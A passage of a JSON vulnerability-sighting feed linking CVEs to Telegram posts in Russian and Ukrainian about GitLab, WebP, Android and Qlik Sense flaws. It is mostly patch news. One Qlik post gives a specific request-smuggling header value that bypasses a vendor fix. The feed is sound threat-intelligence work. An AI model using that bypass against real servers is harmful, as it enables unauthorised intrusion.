\u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f \u0434\u043e\u043b\u0436\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0435 \u043f\u0440\u0438\u0441\u0432\u043e\u0435\u043d \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 9.6 \u0438\u0437 10. \u0412 \u043d\u043e\u0432\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u043c\u0435\u043d\u0435\u0435 \u043e\u043f\u0430\u0441\u043d\u0430\u044f (7.6 \u0438\u0437 10) \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2023-4812), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043e\u0431\u043e\u0439\u0442\u0438 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 CODEOWNERS \u0447\u0435\u0440\u0435\u0437 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 \u0432 \u0440\u0430\u043d\u0435\u0435 \u043e\u0434\u043e\u0431\u0440\u0435\u043d\u043d\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u0441\u043b\u0438\u044f\u043d\u0438\u0435.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 GitLab, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u0437\u0430\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u0443\u0447\u0451\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043f\u043e\u0434 \u0434\u0440\u0443\u0433\u0438\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c\nhttps://www.opennet.ru/opennews/art.shtml?num=60425\n+\n\u041e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\nhttps://about.gitlab.com/releases/2024/01/11/critical-security-release-gitlab-16-7-2-released/", "creation_timestamp": "2024-01-12T10:15:15.000000Z"}, {"uuid": "83399c47-1911-4d90-9831-28c359e5966b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://t.me/habr_com_news/20995", "content": "Microsoft \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u0432\u0435\u0440\u0441\u0438\u0438 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430 Edge (109.0.1518.140) \u043f\u043e\u0434 Windows 7/8/8.1 \u0438 Windows Server 2012 R2, \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0437\u0430\u043a\u043e\u043d\u0447\u0438\u043b\u0430\u0441\u044c \u0432 \u044f\u043d\u0432\u0430\u0440\u0435 2023 \u0433\u043e\u0434\u0430. \u041f\u0430\u0442\u0447 \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2023-4863.\n\n#\u041e\u0421 #\u0431\u0440\u0430\u0443\u0437\u0435\u0440\u044b", "creation_timestamp": "2023-09-18T07:16:47.000000Z"}, {"uuid": "6c34e5c5-5380-496c-afe2-6b090c2edfec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "seen", "source": "Telegram/qXF8Cjz6knmlpu3SrYMoQxCiBvWret7nWYdUS1mAXBP11v98Zw", "content": "", "creation_timestamp": "2025-08-17T02:42:33.000000Z"}, {"uuid": "3ca71259-4062-4387-a7da-e1e37d60601b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "published-proof-of-concept", "source": "https://t.me/hackyourmom/5122", "content": "\u0412\u0441\u0456\u043c \u0432\u0441\u0456\u043c \u0432\u0441\u0456\u043c : \u0442\u0435\u0440\u043c\u0456\u043d\u043e\u0432\u043e \u043e\u043d\u043e\u0432\u0456\u0442\u044c \u0432\u0441\u0456 \u043c\u0435\u0441\u0435\u043d\u0434\u0436\u0435\u0440\u0438 !!! \u0417\u043d\u0430\u0439\u0434\u0435\u043d\u043e \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u0430 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u0456\u0441\u0442\u044c \u0432 \u043e\u0434\u043d\u043e\u043c\u0443 \u0434\u0443\u0436\u0435 \u0432\u0430\u0436\u043b\u0438\u0432\u043e\u043c\u0443 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0456.\n\n\u0429\u043e \u0442\u0440\u0435\u0431\u0430 \u043e\u043d\u043e\u0432\u0438\u0442\u0438?\n\u2705 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0438 \n\u2705 1Password \u0442\u0430 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u0438 \u043f\u0430\u0440\u043e\u043b\u0456\u0432\n\u2705 \u043c\u0435\u0441\u0435\u043d\u0434\u0436\u0435\u0440\u0438\n\u2705 \u043c\u0430\u0439\u0436\u0435 \u0432\u0441\u0435 \u0434\u0435 \u0454 \u00ab\u0431\u0440\u0430\u0443\u0437\u0435\u0440\u00bb\ud83d\ude05\n\n\u0421\u0443\u0442\u044c: \n\n https://stackdiary.com/critical-vulnerability-in-webp-codec-cve-2023-4863/", "creation_timestamp": "2023-09-14T08:27:36.000000Z"}, {"uuid": "3b6ec80f-2813-4380-a0d3-c99f969c0fc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "exploited", "source": "https://t.me/hackyourmom/5461", "content": "\u041d\u0435 \u043d\u0435\u0445\u0442\u0443\u0439\u0442\u0435 \u043e\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044f\u043c\u0438,\u043e\u0441\u043e\u0431\u043b\u0438\u0432\u043e \u0432\u0430\u0436\u043b\u0438\u0432\u043e-\u0442\u0456  \u0445\u0442\u043e \u043a\u043e\u0440\u0438\u0441\u0442\u0443\u0454\u0442\u044c\u0441\u044f \u0430\u043d\u0434\u0440\u043e\u0457\u0434\u043e\u043c \u0443 \u0441\u043b\u0443\u0436\u0431\u043e\u0432\u0438\u0445 \u0446\u0456\u043b\u044f\u0445.\n\nGoogle \u0432\u0438\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044f \u0434\u043b\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0438 \u0431\u0435\u0437\u043f\u0435\u043a\u0438 Android \u043d\u0430 \u0436\u043e\u0432\u0442\u0435\u043d\u044c 2023 \u0440\u043e\u043a\u0443, \u044f\u043a\u0456 \u0432\u0438\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0442\u044c 54 \u0443\u043d\u0456\u043a\u0430\u043b\u044c\u043d\u0456 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0456, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0447\u0438 \u0434\u0432\u0456, \u044f\u043a\u0456, \u044f\u043a \u0432\u0456\u0434\u043e\u043c\u043e, \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0432\u0438\u043a\u043e\u0440\u0438\u0441\u0442\u043e\u0432\u0443\u044e\u0442\u044c\u0441\u044f \u0437\u043b\u043e\u0432\u043c\u0438\u0441\u043d\u0438\u043a\u0430\u043c\u0438.\nCVE-2023-4863 \u0456 CVE-2023-4211 - \u0441\u0430\u043c\u0435 \u0442\u0456 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0456, \u0449\u043e\u0434\u043e \u044f\u043a\u0438\u0445 \u0443 Google \u0454 \u043f\u0456\u0434\u0441\u0442\u0430\u0432\u0438 \u0432\u0432\u0430\u0436\u0430\u0442\u0438, \u0449\u043e \u0432\u043e\u043d\u0438 \"\u043c\u043e\u0436\u0443\u0442\u044c \u043f\u0456\u0434\u0434\u0430\u0432\u0430\u0442\u0438\u0441\u044f \u043e\u0431\u043c\u0435\u0436\u0435\u043d\u043e\u043c\u0443 \u0441\u043f\u0440\u044f\u043c\u043e\u0432\u0430\u043d\u043e\u043c\u0443 \u0432\u0438\u043a\u043e\u0440\u0438\u0441\u0442\u0430\u043d\u043d\u044e\".\nCVE-2023-4863 - \u0446\u0435 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u0456\u0441\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u043e\u0432\u043d\u0435\u043d\u043d\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u0437\u0430\u0433\u0430\u043b\u044c\u043d\u043e\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0456\u0439 \u0431\u0456\u0431\u043b\u0456\u043e\u0442\u0435\u0446\u0456 \u0437 \u0432\u0456\u0434\u043a\u0440\u0438\u0442\u0438\u043c \u0432\u0438\u0445\u0456\u0434\u043d\u0438\u043c \u043a\u043e\u0434\u043e\u043c libwebp, \u044f\u043a\u0430 \u0432\u043f\u043b\u0438\u0432\u0430\u0454 \u043d\u0430 \u0447\u0438\u0441\u043b\u0435\u043d\u043d\u0456 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043d\u0456 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0447\u0438 Chrome, Firefox, iOS, Microsoft Teams \u0456 \u0431\u0430\u0433\u0430\u0442\u043e \u0456\u043d\u0448\u0438\u0445.\n\u0421\u043f\u043e\u0447\u0430\u0442\u043a\u0443 \u0446\u0456\u0439 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0456 \u0431\u0443\u043b\u0438 \u043f\u0440\u0438\u0441\u0432\u043e\u0454\u043d\u0456 \u043e\u043a\u0440\u0435\u043c\u0456 \u0456\u0434\u0435\u043d\u0442\u0438\u0444\u0456\u043a\u0430\u0442\u043e\u0440\u0438 CVE \u0434\u043b\u044f Apple iOS \u0456 Google Chrome, \u0445\u043e\u0447\u0430 \u043d\u0430\u0441\u043f\u0440\u0430\u0432\u0434\u0456 \u043f\u043e\u043c\u0438\u043b\u043a\u0430 \u0431\u0443\u043b\u0430 \u043f\u0440\u0438\u0445\u043e\u0432\u0430\u043d\u0430 \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u0456\u0439 \u0431\u0456\u0431\u043b\u0456\u043e\u0442\u0435\u0446\u0456.\nCVE-2023-4211 - \u0446\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0432\u0438\u043a\u043e\u0440\u0438\u0441\u0442\u043e\u0432\u0443\u0432\u0430\u043d\u0430 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u0456\u0441\u0442\u044c, \u044f\u043a\u0430 \u0432\u043f\u043b\u0438\u0432\u0430\u0454 \u043d\u0430 \u043a\u0456\u043b\u044c\u043a\u0430 \u0432\u0435\u0440\u0441\u0456\u0439 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0456\u0432 \u0433\u0440\u0430\u0444\u0456\u0447\u043d\u0438\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u043e\u0440\u0456\u0432 Mali \u0432\u0456\u0434 ARM, \u044f\u043a\u0456 \u0432\u0438\u043a\u043e\u0440\u0438\u0441\u0442\u043e\u0432\u0443\u044e\u0442\u044c\u0441\u044f \u0432 \u0448\u0438\u0440\u043e\u043a\u043e\u043c\u0443 \u0441\u043f\u0435\u043a\u0442\u0440\u0456 \u043c\u043e\u0434\u0435\u043b\u0435\u0439 Android-\u043f\u0440\u0438\u0441\u0442\u0440\u043e\u0457\u0432.\n\u0426\u044f \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u0456\u0441\u0442\u044c \u0454 Use-After-Free \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u0456\u0441\u0442\u044e, \u044f\u043a\u0430 \u043c\u043e\u0436\u0435 \u0434\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u0438 \u0437\u043b\u043e\u0432\u043c\u0438\u0441\u043d\u0438\u043a\u0430\u043c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e \u043e\u0442\u0440\u0438\u043c\u0443\u0432\u0430\u0442\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u0434\u043e \u043a\u043e\u043d\u0444\u0456\u0434\u0435\u043d\u0446\u0456\u0439\u043d\u0438\u0445 \u0434\u0430\u043d\u0438\u0445 \u0430\u0431\u043e \u043c\u0430\u043d\u0456\u043f\u0443\u043b\u044e\u0432\u0430\u0442\u0438 \u043d\u0438\u043c\u0438.\n\u0412 \u0437\u0430\u0433\u0430\u043b\u044c\u043d\u043e\u043c\u0443, \u043e\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044f \u0431\u0435\u0437\u043f\u0435\u043a\u0438 \u0436\u043e\u0432\u0442\u043d\u044f \u043c\u0456\u0441\u044f\u0446\u044f \u043c\u0456\u0441\u0442\u0438\u0442\u044c \u043d\u0430\u0441\u0442\u0443\u043f\u043d\u0456 \u0432\u0438\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044f:\n \u2022 13 \u0432\u0438\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044c \u0432 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0456 Android;\n \u2022 12 \u0432\u0438\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u0438\u0445 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445;\n \u2022 2 \u043e\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044f \u0432 Google Play;\n \u2022 5 \u0432\u0438\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044c \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 ARM;\n \u2022 3 \u0432\u0438\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044c, \u044f\u043a\u0456 \u0441\u0442\u043e\u0441\u0443\u044e\u0442\u044c\u0441\u044f \u0447\u0456\u043f\u0456\u0432 MediaTek;\n \u2022 1 \u0432\u0438\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044f, \u044f\u043a\u0435 \u0441\u0442\u043e\u0441\u0443\u0454\u0442\u044c\u0441\u044f \u0447\u0456\u043f\u0456\u0432 Unisoc;\n \u2022 18 \u0432\u0438\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044c \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0456\u0432 Qualcomm;\n\u0417 54 \u0432\u0438\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044c, \u0449\u043e \u0441\u0442\u043e\u0441\u0443\u044e\u0442\u044c\u0441\u044f Android 11-13, \u043f'\u044f\u0442\u044c \u043e\u0446\u0456\u043d\u044e\u044e\u0442\u044c\u0441\u044f \u044f\u043a \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u0456, \u0456 \u0449\u0435 \u0434\u0432\u0430 \u0441\u0442\u043e\u0441\u0443\u044e\u0442\u044c\u0441\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0437 \u0432\u0456\u0434\u0434\u0430\u043b\u0435\u043d\u0438\u043c \u0432\u0438\u043a\u043e\u043d\u0430\u043d\u043d\u044f\u043c \u043a\u043e\u0434\u0443.\n\u0426\u0435 \u043e\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044f \u0432\u0456\u0434\u043f\u043e\u0432\u0456\u0434\u0430\u0454 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u0456\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0456 \u0432\u0438\u043f\u0443\u0441\u043a\u0443 \u0434\u0432\u043e\u0445 \u0440\u0456\u0432\u043d\u0456\u0432 \u0432\u0438\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044c: \u043f\u0435\u0440\u0448\u0438\u0439 (2023-10-01) \u0441\u0442\u043e\u0441\u0443\u0454\u0442\u044c\u0441\u044f \u043e\u0441\u043d\u043e\u0432\u043d\u0438\u0445 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0456\u0432 Android (\u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a + \u0441\u0438\u0441\u0442\u0435\u043c\u0430), \u0442\u043e\u0434\u0456 \u044f\u043a \u0434\u0440\u0443\u0433\u0438\u0439 (2023-10-06) \u0441\u0442\u043e\u0441\u0443\u0454\u0442\u044c\u0441\u044f \u044f\u0434\u0440\u0430 \u0456 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0456\u0432 \u0437 \u0437\u0430\u043a\u0440\u0438\u0442\u0438\u043c \u0432\u0438\u0445\u0456\u0434\u043d\u0438\u043c \u043a\u043e\u0434\u043e\u043c.\n\u0422\u0430\u043a\u0438\u0439 \u043f\u0456\u0434\u0445\u0456\u0434 \u0434\u043e\u0437\u0432\u043e\u043b\u044f\u0454 \u0432\u0438\u0440\u043e\u0431\u043d\u0438\u043a\u0430\u043c \u043f\u0440\u0438\u0441\u0442\u0440\u043e\u0457\u0432 \u0432\u0438\u0431\u0456\u0440\u043a\u043e\u0432\u043e \u0437\u0430\u0441\u0442\u043e\u0441\u043e\u0432\u0443\u0432\u0430\u0442\u0438 \u043e\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044f, \u0449\u043e \u0432\u0456\u0434\u043f\u043e\u0432\u0456\u0434\u0430\u044e\u0442\u044c \u0457\u0445\u043d\u0456\u043c \u043c\u043e\u0434\u0435\u043b\u044f\u043c \u043e\u0431\u043b\u0430\u0434\u043d\u0430\u043d\u043d\u044f, \u0442\u0438\u043c \u0441\u0430\u043c\u0438\u043c \u0448\u0432\u0438\u0434\u0448\u0435 \u0440\u043e\u0437\u0433\u043e\u0440\u0442\u0430\u0442\u0438 \u0457\u0445 \u043d\u0430 \u043f\u0456\u0434\u0442\u0440\u0438\u043c\u0443\u0432\u0430\u043d\u0456 \u043f\u0440\u0438\u0441\u0442\u0440\u043e\u0457.\nAndroid 10 \u0456 \u0431\u0456\u043b\u044c\u0448 \u0440\u0430\u043d\u043d\u0456 \u0432\u0435\u0440\u0441\u0456\u0457 \u043e\u0444\u0456\u0446\u0456\u0439\u043d\u043e \u0431\u0456\u043b\u044c\u0448\u0435 \u043d\u0435 \u043f\u0456\u0434\u0442\u0440\u0438\u043c\u0443\u044e\u0442\u044c\u0441\u044f \u0456 \u043d\u0435 \u043e\u0442\u0440\u0438\u043c\u0443\u0432\u0430\u0442\u0438\u043c\u0443\u0442\u044c \u043e\u043d\u043e\u0432\u043b\u0435\u043d\u044c \u0431\u0435\u0437\u043f\u0435\u043a\u0438. \u041a\u043e\u0440\u0438\u0441\u0442\u0443\u0432\u0430\u0447\u0430\u043c \u0441\u0442\u0430\u0440\u0438\u0445 \u0432\u0435\u0440\u0441\u0456\u0439 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0454\u0442\u044c\u0441\u044f \u0430\u0431\u043e \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u043d\u0430 \u0431\u0456\u043b\u044c\u0448 \u0441\u0443\u0447\u0430\u0441\u043d\u0438\u0439 \u043f\u0440\u0438\u0441\u0442\u0440\u0456\u0439, \u0430\u0431\u043e \u043f\u0440\u043e\u0448\u0438\u0442\u0438 \u0441\u0432\u0456\u0439 \u043f\u043e\u0442\u043e\u0447\u043d\u0438\u0439 \u0441\u043c\u0430\u0440\u0442\u0444\u043e\u043d \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0456\u043c \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u043c \u043d\u0430 \u0441\u0432\u0456\u0436\u0456\u0439 \u0432\u0435\u0440\u0441\u0456\u0457 Android, \u044f\u043a\u0438\u0439 \u043f\u0440\u043e\u043f\u043e\u043d\u0443\u0454 \u043e\u0441\u0442\u0430\u043d\u043d\u0456 \u043e\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044f \u0431\u0435\u0437\u043f\u0435\u043a\u0438. \u0425\u043e\u0447\u0430 \u0434\u0440\u0443\u0433\u0438\u0439 \u0432\u0430\u0440\u0456\u0430\u043d\u0442 \u0447\u0430\u0441\u0442\u043e \u043c\u043e\u0436\u0435 \u043f\u0440\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0438 \u0434\u043e \u043d\u0435\u0441\u0442\u0430\u0431\u0456\u043b\u044c\u043d\u043e\u0457 \u0440\u043e\u0431\u043e\u0442\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u0438.", "creation_timestamp": "2023-10-05T07:12:45.000000Z"}, {"uuid": "d899526a-e77a-48ef-b812-04befde505ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48365", "type": "seen", "source": "https://t.me/redfoxsec/24", "content": "\ud83d\udd3bZeroQlik + DoubleQlik (CVE-2023-41265, CVE-2023-41266, CVE-2023-48365)\n\n\u0414\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u043f\u0430\u043b\u0430\u0441\u044c \u043c\u043d\u0435 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043d\u0430 \u0433\u043b\u0430\u0437\u0430. \u041a \u043c\u043e\u0435\u043c\u0443 \u0443\u0434\u0438\u0432\u043b\u0435\u043d\u0438\u044e, \u043f\u043e\u0447\u0442\u0438 \u043d\u0438\u0433\u0434\u0435 \u043e \u043d\u0435\u0439 \u043d\u0435 \u043f\u0438\u0441\u0430\u043b\u043e\u0441\u044c \u0434\u043e \u043d\u0435\u0434\u0430\u0432\u043d\u0435\u0439 \u043d\u043e\u0432\u043e\u0441\u0442\u0438 \u043f\u0440\u043e \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c Cactus \u043d\u0430 xakep.\n\n\ud83d\udd17 \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c ZeroQlik \u043d\u0430\u0448\u043b\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 Praetorian\n\n\ud83d\udcd1 \u0417\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u043d\u0430 \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u043c \u043a CL.TE \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0443 HTTP Request Smuggle \u043f\u0440\u043e\u043a\u0441\u0438 Qlik Sense, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0444\u0440\u043e\u043d\u0442\u043e\u043c \u0434\u043b\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432. \u0412\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e \u0441\u0442\u0430\u043b\u0430 Path Traversal \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c \u043c\u043d\u0435 \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u043c - \u043a\u0430\u043a \u043f\u043e\u0434\u0445\u043e\u0434 (Grey box \u0430\u043d\u0430\u043b\u0438\u0437), \u0442\u0430\u043a \u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u043d\u044b\u0435 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0438\u0436\u0435\u043d\u0438\u044f RCE. \u042d\u0442\u043e \u043e\u0434\u0438\u043d \u0438\u0437 \u0442\u0430\u043a\u0438\u0445 \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u0433\u0434\u0435 \u043a\u0430\u043a \u0440\u0430\u0437 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u0443\u043d\u043d\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 HTTP Request Smuggling. \n\n\ud83d\udd17 \u041d\u0435 \u043c\u0435\u043d\u0435\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u043c \u043e\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u043e\u0431\u0445\u043e\u0434 \u0444\u0438\u043a\u0441\u0430 DoubleQlik\n\n\ud83d\udcd1 \u0422\u0430\u043a \u043a\u0430\u043a \u0432 \u0444\u0438\u043a\u0441\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b\u043e\u0441\u044c \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430 Transfer-encoding: chunked, \u0430 \u0432 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 chunked, \u0442\u043e Praetorian \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u043d\u0435\u0441\u043b\u043e\u0436\u043d\u043e \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043e\u0431\u043e\u0439\u0442\u0438 \u044d\u0442\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0432\u0448\u0438\u0441\u044c \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u043c \u0442\u0430\u0431\u0443\u043b\u044f\u0446\u0438\u0438: \nTransfer-encoding: ,\\tchunked,\\r\\n\n\n\u0428\u0430\u0431\u043b\u043e\u043d\u044b \u0434\u043b\u044f \u0434\u0435\u0442\u0435\u043a\u0442\u0430 \u043f\u043e\u0434 Nuclei \u0437\u0430\u0441\u0442\u0440\u044f\u043b\u0438 \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0438 \u0443 Nuclei-templates, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432\u043e\u0442 \u0441\u0441\u044b\u043b\u043a\u0438:\n\n\ud83d\udd38 CVE-2023-41265\n\ud83d\udd38 CVE-2023-41266\n\ud83d\udd38 CVE-2023-48365 (DoubleQlik \u043e\u0431\u0445\u043e\u0434)\n\n\ud83d\udd3b\u041d\u0435 \u043c\u0435\u043d\u0435\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0439 \u043e\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c \u0442\u0430\u043a\u0430\u044f \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u044c Qlik Sense \u043a\u0430\u043a \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 